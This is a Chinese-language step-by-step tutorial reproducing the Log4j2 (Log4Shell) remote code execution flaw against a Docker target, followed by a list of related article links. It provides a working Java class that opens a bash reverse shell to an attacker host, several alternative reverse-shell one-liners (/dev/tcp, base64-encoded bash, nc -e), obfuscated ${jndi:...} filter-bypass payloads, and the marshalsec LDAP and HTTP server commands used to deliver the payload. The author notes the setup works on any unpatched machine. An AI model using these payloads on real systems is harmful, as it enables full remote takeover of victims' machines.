log4j2漏洞出来有一段时间了, 该修复的都修复的差不多了, 是时候可以公开让大家了解下原理以及如何构建整套体系了.
本文虽然是靶机, 但原理上还是可以攻击其它漏洞机器的. 建议测试即可, 不然你就很刑了,这无狱无囚的日子是越来越有判头了 ^_^). 本文阅读者功底为初入门级安全人员, LINUX基础完备, 具备简单java开发技能最好, 但本漏洞复现只需代码略看得懂即可 ,python 会使用,普通工具会使用.

# 简单原理:

1. 受害人机器(靶机)上执行一条命令
2. 该命令被转发到你搭建的服务器
3. 你建立的服务器包括两个功能, 一个是接收这条受害指令, 二个跑到其它地方下载病毒(也是你可控制)
4. 你服务器自动把病毒上传到受害人机器, 受害人自动就执行了这条病毒
5. 这病毒是个一个反弹SHELL, 于是你完全接管了受害人(靶机)这台机器

# 总体思路:

完成实现上面的思路
1. 建立一台测试机, 用docker下载一个镜像, 该镜像是一个WEB网站, 收到你发送的登录信息就会打印log,恰好这是个漏洞, 你传了一条特意构造的语句, 它就会访问你的服务器A. 建好后, 使用postman 工具 发送POST指令模拟登录信息
2. 你的服务器A搭建两个服务, 一个服务是中间件JNDI服务器, 另一个服务是下载病毒python服务
3. 写一个简单的JAVA文件, 编译成class, 放到病毒服务器的下载目录 
4. 上面部分已经完全够用, 如你写的JAVA文件是个touch /tmp/frank . 或者是打开个计算器calc,它就已经是会被执行
5. 本文还想更进一步. 让它反弹到你的其它服务器, 就需要搭建一台服务器来接受反弹
6. 反弹成功后就可以完全控制受害人机器(靶机)

#  简单服务器说明:
1. 反弹机器 kali : 192.168.0.31
2. 控制机器 centos : 192.168.0.34
3. centos 目录: /home/frank/log4j/

# 实现方式

## 1. 下载一个有漏洞的docker 镜像
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8100:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
进去后下载点工具, 万一运行不起来还能看下原因
yum install net-tools -y
yum install tree -y
yum install telnet -y
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

如果有问题可以尝试关了再开
/bin/bash /home/apache-tomcat-8.5.45/bin/shutdown.sh

## 2. 搭建一台接收服务器
### 2.1 搭建JNDI服务器
(这个工具可不仅是JNDI这么简单, 还有很强的功能, 但为了不让大家头大, 就当它是JNDI工具即可)

下载 地址: https://codeload.github.com/RandomRobbieBF/marshalsec-jar/zip/refs/heads/master
下载成功后是一个ZIP包. marshalsec-jar-master.zip, 里面包含marshalsec-0.0.3-SNAPSHOT-all.jar 
上传到centos /home/frank/log4j/ 目录下, 运行
cd /home/frank/log4j/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.34:7777/#Exploit 8888

如果直接可以用就恭喜你.

但是.... but....

如果机器不同, 不能用. 就只能直接去下载源码编译, 这就更麻烦了. 要下载maven

下载页面:  GitHub - mbechler/marshalsec
JNDI下载地址 https://github.com/mbechler/marshalsec/archive/refs/heads/master.zip

https://github.com/mbechler/marshalsec/archive/refs/heads/master.zip

安装maven
yum install  java-1.8.0-openjdk -y
yum install java-1.8.0-openjdk-devel.x86_64 -y
yum install maven -y
添加MAVEN的阿里源
vi /etc/maven/settings.xml

<mirror>
      <id>aliyunmaven</id>
      <mirrorOf>*</mirrorOf>
      <name>阿里云公共仓库</name>
      <url>https://maven.aliyun.com/repository/public</url>
    </mirror>

把marshalsec-master.zip 放到/home/frank/log4j/目录下

cd /home/frank/log4j/
unzip marshalsec-master.zip
cd marshalsec-master/
mvn clean package -DskipTests
成功会成生target/ 目录 
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.34:7777/#Exploit 8888

如下表示成功

### 2.2 写个JAVA病毒程序

cd /home/frank/log4j
vi Exploit.java
public class Exploit {
  public Exploit(){
    try{

String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.0.31/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
      for (int i=0; i<commands.length;i++) {
          System.out.println(commands[i]);
      }

System.out.println("======");

Process pc = Runtime.getRuntime().exec(commands);
      pc.waitFor();
   } catch(Exception e){
      e.printStackTrace();
   }
 }
  public static void main(String[] argv) {
    Exploit e = new Exploit();
 }

}

编译

javac Exploit.java
得到 Exploit.class (成功,结束)
commands 里有自己各种变种, 就不教太多了, 这得自己去努力, 不能太便宜脚本小子去害人,  自己去查资料学习吧.

这里有坑, 尝试下面的一直不行. 但我在docker 里面用命令行测试多个都是100% 反弹成功的, 非常奇怪.  难道涉及逃逸? 一直没想通, 起码浪费了我一上午的调试时间, 网上搜索了很久, 才看到有个高手提醒, 不能这样用, 只能用上面的才能反弹,但没说原理

sh -i >& /dev/tcp/192.168.0.31/9999 0>&1
bash -c "{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

另外也有绕过的资料以供参考
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

还有变种
nc 192.168.0.31 9999 -e /bin/sh
${jndi:ldap://192.168.0.31:8888/Basic/Command/Base64/bmMgMTkyLjE2OC4wLjMxIDk5OTkgLWUgL2Jpbi9zaA==}

 ### 2.3 搭建下载服务器
cd /home/frank/log4j
python3 -m http.server 7777

如下表示成功

###2.4 准备攻击! 使用POSTMAN测试
先看一下docker 是否正常

POSTMAN 要使用POST 只需要设置地址http://192.168.0.34:8100/webstudy/hello-fengxuan, 参数为c , 参数为 ${jndi:ldap://192.168.0.34:8888/Exploit}

先测试下WEB服务是否正常,先用GET测试,以下为正常

再用POST测试, 如下所示则证明WEB正常

动手!!!
参数改成 ${jndi:ldap://192.168.0.34:8888/Exploit}

记住, 指向JNDI服务器就可以

如果有反弹则成功, 有的POSTMAN版本要URL编码, 则编码一次再SEND

如果攻击成功,则立即收到2条消息

--->  反弹成功!

在192.168.0.31 这台Kali机器收到消息

到此, 整个环境就搭建成功, 也测试通过了.

以上的, 如果把靶机换成其它机器, 把你的服务器换成外网, 则完全是可以控制任何机器. 还好, 为了怕你干坏事, 不是所有机器都能成功.因为必须要求受害机上的版本比较低,自己去研究吧, 我看刑, 可狱不可囚,日子很有判头, 我会去看望你的.

我是小风, 感谢帮助过我的那些网络上的无名前辈与过客. 希望您也能无私帮助他人,别学我这么懒. :^-^)

log4j 2 远程代码执行漏洞原理与搭建反弹shell相关推荐

  1. 如何看待 Apache Log4j 2 远程代码执行漏洞?

    Apache Log4j2 是一款优秀的 Java 日志框架,大量的业务框架都使用了该组件. 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 ...

  2. Apache Log4j2远程代码执行漏洞风险紧急通告,腾讯安全支持全面检测拦截

    腾讯安全注意到,一个Apache Log4j2的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码. 漏洞描述: 腾讯安全注意到,一个Apache Log4j2反序列化远程代码执行漏洞细节已被公开,L ...

  3. Samba远程代码执行漏洞(CVE-2017-7494)复现

    简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(C ...

  4. cve-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析

    目录 0x00 前言 0x01 漏洞简介 0x02 环境搭建 0x03 漏洞利用 0x04 漏洞机理 1.POC验证 ​2.漏洞产生原理和攻击思路 3.payload构建 0x05 危害分析和处理建议 ...

  5. Kibana远程代码执行漏洞攻击方法和漏洞原理分析

    漏洞简介 Kibana存在远程代码执行漏洞,影响版本为5.6.15和6.6.0之前的所有版本.拥有Kibana的Timelion模块访问权限的人可以以Kibana的运行权限执行任意代码,包括反弹she ...

  6. Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施

    一.问题描述 2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模.高影响的漏洞.此漏洞称为 Log4Shell,安全跟踪编码为 ...

  7. Apache Log4j 远程代码执行漏洞直接让安全圈过年~

    在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...

  8. 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报

    整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...

  9. Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务. 奇 ...

最新文章

  1. 7-flutter Navigator 和Route
  2. 二、传统数据库遇到的挑战
  3. boost::intrusive::stateful_value_traits用法的测试程序
  4. pagecontrol
  5. C++学习之路 | PTA乙级—— 1070 结绳 (25 分)(精简)
  6. 页面用ajax实现简单的连接数据库
  7. php-fpm 的参数,php-fpm启动参数配置详解
  8. 轮询调度算法 Round Robin
  9. JUC之volatile
  10. 基于 React.js + redux + bootstrap 的 RubyChina 示例
  11. 免费复制百度文库的VIP文章(非常简单!)
  12. Linux 如何生成文件的MD5值(md5sum)?
  13. 【数学建模】因子分析
  14. 计算机主机显示接口,一文了解电脑视频接口 看完彻底明白了
  15. Java实现基于Cookie的单点登录看这篇文章就够了
  16. 图片加文字怎么弄?介绍几款不错的电脑图片编辑软件
  17. python和c 情侣网名_超可爱超有趣的情侣ID
  18. Linux ssh 端口修改
  19. 股价翻番 人生赢家,python爬取基金 筛选股票
  20. 如何编写 Runkeeper 一样的 app(2)

热门文章

  1. 计算机特岗教师转正申请书,特岗教师转正申请书怎么写才规范
  2. OPPO粟俊娥:OPPO研发云持续交付实践之路
  3. 西云数据技术支持笔试(基础复盘)
  4. 【0基础】最简单的英灵神殿/Valheim服务器搭建实战教学
  5. 2021考研,有多少学校计算机改408?
  6. 【转】雄鹰计划-卓越工程师炼成记
  7. 野火STM32学习(6)
  8. ZZULIOJ.1221: The Other Part of DNA
  9. IPTG诱导蛋白表达的原理
  10. 【智能算法】GRNN的数据预测—基于广义回归神经网络的货运量预测